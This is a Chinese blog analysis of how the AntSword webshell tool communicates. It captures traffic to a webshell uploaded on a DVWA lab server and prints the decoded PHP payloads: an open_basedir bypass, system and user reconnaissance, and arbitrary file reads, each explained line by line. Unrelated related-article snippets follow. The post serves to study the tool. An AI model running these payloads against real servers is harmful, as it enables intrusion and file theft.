中国蚁剑的工作原理

article/2025/4/30 0:46:12
  1. 中国蚁剑连接http://192.168.11.157/dvwa/hackable/uploads/pass.php

  1. 蚁剑连接并同时用wireshark抓取流量

  1. 1274 行,追踪tcp流

  1. 因为我们的php.php内容是 $_POST['pass'],所以这里是post了一个pass参数,后面跟上了命令。通过站长工具-URL解码/编码 (wetimer.com)url解码、PHP格式化,在线美化PHP代码-站长工具 (senlt.cn)看一下:

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)) {continue;};$tmdir=$item."/.4044a0d3a48";@mkdir($tmdir);if(!@file_exists($tmdir)) {continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for ($i=0;$i<sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};
};;function asenc($out) {return $out;
};function asoutput() {$output=ob_get_contents();ob_end_clean();echo "e7986"."0ff41";echo @asenc($output);echo "e7a7"."504c";
}
ob_start();
try {$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/") {foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";} else {$R.="/";}$R.="   ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="   {$s}";echo $R;;
} catch(Exception $e) {echo "ERROR://".$e->getMessage();
};
asoutput();
die();

从上往下分析:

@ini_set(“display_errors”, “0”);是临时关闭PHP的错误显示功能

@set_time_limit(0);是设置执行时间,为零说明永久执行直到程序结束,是为了防止像dir、上传文件大马时超时

asenc函数:简单的接收参数然后直接返回

asoutput函数:先用ob_get_contents得到缓冲区的数据。然后用ob_end_clean清除缓冲区的内容,并将缓冲区关闭。然后把接收到的缓冲区数据输出

ob_start()是在服务器打开一个缓冲区来保存所有的输出

try里面:

$_SERVER[“SCRIPT_FILENAME”]是获取当前执行脚本的绝对路径。

dirname() 函数返回路径中的目录名称部分,也就是说$D是当前执行脚本所在的目录。

如果$D为空,那么就用$_SERVER[“PATH_TRANSLATED”]获取当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。

然后把获取到的$D加上TAB赋值给$R

然后下面的if:

先判断$D的第一位是不是/,这里应该是在判断是linux系统还是windows系统。

假如是windows,就从C到Z循环,is_dir是判断是否存在这个盘符目录。假如存在这个盘符就添加在$R的后面。

然后就是判断posix_getegid函数是否存在,如果存在posix_getegid函数存在就获取信息赋值给$u,否则$u为空

然后下面判断$u是否为空,假如不为空就获取键值为name的值给$s,否则用get_current_user函数获取当前PHP脚本所有者的名称赋值给$s。

然后用 php_uname 函数获取 有关正在运行的操作系统PHP的信息,并将其添加在$R后面,然后把上面获取的$s也添加在$R后面。然后输出$R。

假如出错就返回错误信息:

再看一下数据包返回信息,就理解了上面这些代码是干嘛的:

当前执行脚本所在的路径 正在运行的操作系统PHP的信息 当前PHP脚本所有者的名称

  1. 1281行,打开了一个php文件,看一下发送的指令:

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)) {continue;};$tmdir=$item."/.f01ac485ec";@mkdir($tmdir);if(!@file_exists($tmdir)) {continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for ($i=0;$i<sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};
};;function asenc($out) {return $out;
};function asoutput() {$output=ob_get_contents();ob_end_clean();echo "4a1"."c31";echo @asenc($output);echo "503d"."eaf6";
}
ob_start();
try {$F=base64_decode(substr($_POST["u928cced13ca85"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;
} catch(Exception $e) {echo "ERROR://".$e->getMessage();
};
asoutput();
die();
&u928cced13ca85=RNL3Zhci93d3cvZHZ3YS9oYWNrYWJsZS91cGxvYWRzL3Bhc3MucGhw

看下try里面的内容:

将从POST传过来的u928cced13ca85变量去掉前2个字符后再进行base64解码赋值给$F:

然后用只读的方式打开文件,然后读文件,假如文件大小为空就默认读4096字节,然后关闭文件流:

在最后,传了上面所说的奇怪变量名参数u928cced13ca85

base64解码看看:


http://chatgpt.dhexx.cn/article/EsQ3BZZG.shtml

相关文章

Web安全-AntSword(中国蚁剑)Webshell管理工具使用

为方便您的阅读&#xff0c;可点击下方蓝色字体&#xff0c;进行跳转↓↓↓ 01 工具下载地址02 工具介绍03 使用案例04 参考资料 01 工具下载地址 https://github.com/AntSwordProject/蚂剑工具的下载分为两个部分&#xff0c;一个是项目核心源码antSword&#xff0c;另一个是…

中国蚁剑安装使用教程

中国蚁剑安装使用教程 前言一、中国蚁剑安装二、中国蚁剑使用2.1中国蚁剑连接木马2.2中国蚁剑设置代理2.3中国蚁剑参数设置2.4中国蚁剑其他使用 三、 中国蚁剑绕过Waf3.1 编码绕过WAF3.2插件绕过waf3.3 修改蚁剑绕过WAF 总结 大家好&#xff0c;我是the-back-zoom,如下是中国蚁…

中国蚁剑(AntSword)安装、使用教程

项目地址 加载器&#xff1a; https://github.com/AntSwordProject/AntSword-Loader 核心源码&#xff1a; https://github.com/AntSwordProject/antSword 如果从github上下载很卡&#xff0c;可以去复制链接到githubd上下载 https://githubd.com 中国蚁剑使用说明书&#…

下载、安装和使用网站控制工具——中国蚁剑

下载、安装和使用网站控制工具——中国蚁剑 一&#xff1a;工具的下载 注意&#xff1a;需要下载两个程序&#xff1a;一个是项目核心源码&#xff0c;即主程序-“antSword”&#xff1b;另一个是加载器-“AntSword-Loader”。 主程序的下载 将主程序源码下载之后&#xff0c;…

中国蚁剑AntSword

中国蚁剑AntSword 中国蚁剑是一款开源的跨平台网站管理工具&#xff0c;它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。 参考文档 中国蚁剑下载、安装、使用教程_Sumarua的博客-CSDN博客_中国蚁剑怎么使用 中国蚁剑AntSword&#xff1a;开源的跨平台…

Web安全工具—中国蚁剑安装简单使用(持续更新)

Web安全工具—中国蚁剑安装&简单使用 简介&#xff1a; 和中国菜刀一样&#xff0c;同为webshell终端管理工具&#xff0c;不管是中国菜刀还是中国蚁剑&#xff0c;都算的上是很好用webshell终端管理工具。 下载安装地址&#xff1a; https://pan.baidu.com/s/1N8rqyv…

中国蚁剑(antSword)下载、安装、使用教程

中国蚁剑是一款开源的跨平台网站管理工具&#xff0c;它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。 通俗的讲&#xff1a;中国蚁剑是 一 款比菜刀还牛的shell控制端软件。 中国蚁剑推崇模块化的开发思想&#xff0c;遵循开源&#xff0c;就要开得漂…

Deeplearning4j 快速入门

课程亮点 机器学习经典案例基于 DL4J 的实现Spark 分布式场景下的模型训练及调优多 GPU 环境下的并行建模迁移和强化学习的模型训练搭建在线服务环境实战演练本课程是关于 Eclipse Deeplearning4j 的基础课程。Deeplearning4j 是基于 Java/JVM 的深度学习开源库,课程内容涵盖了…

DL4J模型训练Word2Vec

目前深度学习已经越来越受到重视&#xff0c;深度学习的框架也是层出不穷&#xff0c;例如谷歌的TensorFlow&#xff0c;它是基于Python进行开发的&#xff0c;对于许多对Python不够了解的程序员来说用起来可能没有那么的方便&#xff0c;这里说一下一个基于Java的深度学习框架…

[Deeplearning4j应用教程03]_快速完成在自己的Maven项目中使用DL4J

快速使用DL4J 一、新建Maven项目二、配置依赖三、测试 一、新建Maven项目 1、打开IDEA后&#xff0c;步骤为&#xff1a;“File -> New -> Project” 2、选择Maven&#xff0c;然后选择已安装好的的JDK。另外&#xff0c;关于Add Archetype在下面。 Archetype我们可以…

[Deeplearning4j应用教程00]_DL4J技术介绍

文章目录 Deeplearning 4j概览Deeplearning主要组件nd4jSameDiffDatavecDeeplearningDeeplearning技术栈与工作流 Konduit Deeplearning 4j概览 Deeplearning4j当前最大、最流行的基于JAVA的深度学习框架&#xff0c;截止目前&#xff0c;社区人数为4900&#xff0c;拥有11800…

[Deeplearning4j应用教程04]_基于DL4J的神经网络实现

DL4JScala的神经网络实现 一、内容简介二、准备工程与环境三、准备工作空间四、准备要加载的数据五、神经网络的搭建六、训练神经网络模型七、评估模型 一、内容简介 Deeplearning4j&#xff08;也称为“ DL4J”&#xff09;是一种高性能的特定领域语言&#xff0c;用于配置由…

从TensorFlow到DL4J——主流深度学习框架对比分析

从TensorFlow到DL4J——主流深度学习框架对比分析 2022年2月22日 极链AI云 官网地址 点击注册 更多AI小知识&#xff0c;关注《极链AI云》公众号 文章目录 从TensorFlow到DL4J——主流深度学习框架对比分析一、深度学习框架概述与深度学习技术的四大阵营二、主流开源深度学习框…

DL4J中文文档/ND4J/概述

本用户指南旨在解释&#xff08;并提供示例&#xff09;ND4J中的主要功能。 简介 NDArrays:它们在内存中是如何存储的&#xff1f;视图&#xff1a;当两个或更多NDArrays引用相同的数据创建NDArrays 0,1和标量值初始化数组随机数组从Java数组创建NDArrays从其它NDArrays创建ND…

DL4J实战之五:矩阵操作基本功

欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码)&#xff1a;https://github.com/zq2599/blog_demos 本篇概览 作为《DL4J实战》系列的第五篇&#xff0c;在前面对深度学习有一定的了解后&#xff0c;本篇会暂停深度学习相关的操作&#xff0c;转为基本功练习&…

DL4J实战之六:图形化展示训练过程

欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码)&#xff1a;https://github.com/zq2599/blog_demos 本篇概览 本篇是《DL4J实战》系列的第六篇&#xff0c;咱们继续夯实基本功&#xff0c;这次学习的是如何更加形象完整的展示训练过程&#xff1a;图形化页面&…

使用tensorflow搭建深层神经网络

6在吴恩达老师的《深度学习》第二课第三周的课程中&#xff0c;提及到了多种深度学习框架&#xff0c;包括caffe/caffe2&#xff0c;CNTK&#xff0c;DL4J&#xff0c;Keras&#xff0c;Lasagne&#xff0c;mxnet&#xff0c;paddlepadle&#xff0c;tensorflow&#xff0c;The…

[Deeplearning4j应用教程02]_DL4J环境搭建教程-Windows版

Windows下DL4J环境搭建教程 一、DL4J简介二、Windows下DL4J环境搭建三、安装JDK1.1、JDK简介1.2、JDK下载安装1.3、安装JDK1.3.1、环境变量配置 四、安装Intellij idea五、Maven Apache安装六、在IDEA中配置Maven七、安装Git八、获取DL4J示例代码九、在IDEA中导入项目并运行 一…

DL4J源码分析

目录 源码目录&#xff08;部分&#xff09; NDArray 工作间 DL4J的层工作间管理器 沿维张量&#xff08;TAD&#xff09; 反向减法 源码目录&#xff08;部分&#xff09; DeepLearning4J: 包含用于既在单个机器上&#xff0c;又在分布式上学习神经网络的所有代码。 N…

DL4J实战之四:经典卷积实例(GPU版本)

欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码)&#xff1a;https://github.com/zq2599/blog_demos 本篇概览 作为《DL4J实战》的第四篇&#xff0c;今天咱们不写代码&#xff0c;而是为今后的实战做些准备&#xff1a;在DL4J框架下用GPU加速深度学习的训练过…